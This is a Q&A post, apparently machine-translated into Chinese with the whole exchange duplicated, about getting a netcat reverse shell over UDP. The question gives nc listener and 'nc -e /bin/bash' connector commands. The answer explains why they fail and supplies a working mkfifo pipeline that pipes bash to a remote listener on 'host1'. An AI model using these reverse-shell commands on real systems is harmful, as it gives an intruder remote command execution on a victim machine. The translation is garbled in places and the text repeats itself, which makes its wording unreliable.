使用 netcat 通过 UDP 获取反向 shell
Obtain reverse shell over UDP with netcat
我想使用 netcat 通过 UDP 获得反向 shell。 Netcat 默认通过 TCP 发送流量,所以为了通过 UDP 发送它,我 运行 -u
选项如下:
主持人 1:
nc.traditional -l -p 4444 -v -u
主持人 2:
nc.traditional localhost 4444 -e /bin/bash -u
但是当我输入 bash 命令时,我没有得到输出。这是为什么?
这有几个问题:
- 您在主机 2 上使用
localhost
。这是一个特殊的主机名,指的是当前主机,而不是主机 1。
- UDP 没有连接。如果主机 1 没有首先收到消息,它将不知道将数据包发送到哪里。
bash
逐字符读取输入,这不适用于基于非流数据包的数据。
您可以改为使用流连接 nc
和 bash
,然后立即发送数据包,以便主机 1 知道将您输入的命令发送到哪里:
主机 1:
nc.traditional -l -p 4444 -v -u
主持人 2:
mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{
echo "Hi"
bash
} > fifo
我想使用 netcat 通过 UDP 获得反向 shell。 Netcat 默认通过 TCP 发送流量,所以为了通过 UDP 发送它,我 运行 -u
选项如下:
主持人 1:
nc.traditional -l -p 4444 -v -u
主持人 2:
nc.traditional localhost 4444 -e /bin/bash -u
但是当我输入 bash 命令时,我没有得到输出。这是为什么?
这有几个问题:
- 您在主机 2 上使用
localhost
。这是一个特殊的主机名,指的是当前主机,而不是主机 1。 - UDP 没有连接。如果主机 1 没有首先收到消息,它将不知道将数据包发送到哪里。
bash
逐字符读取输入,这不适用于基于非流数据包的数据。
您可以改为使用流连接 nc
和 bash
,然后立即发送数据包,以便主机 1 知道将您输入的命令发送到哪里:
主机 1:
nc.traditional -l -p 4444 -v -u
主持人 2:
mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{
echo "Hi"
bash
} > fifo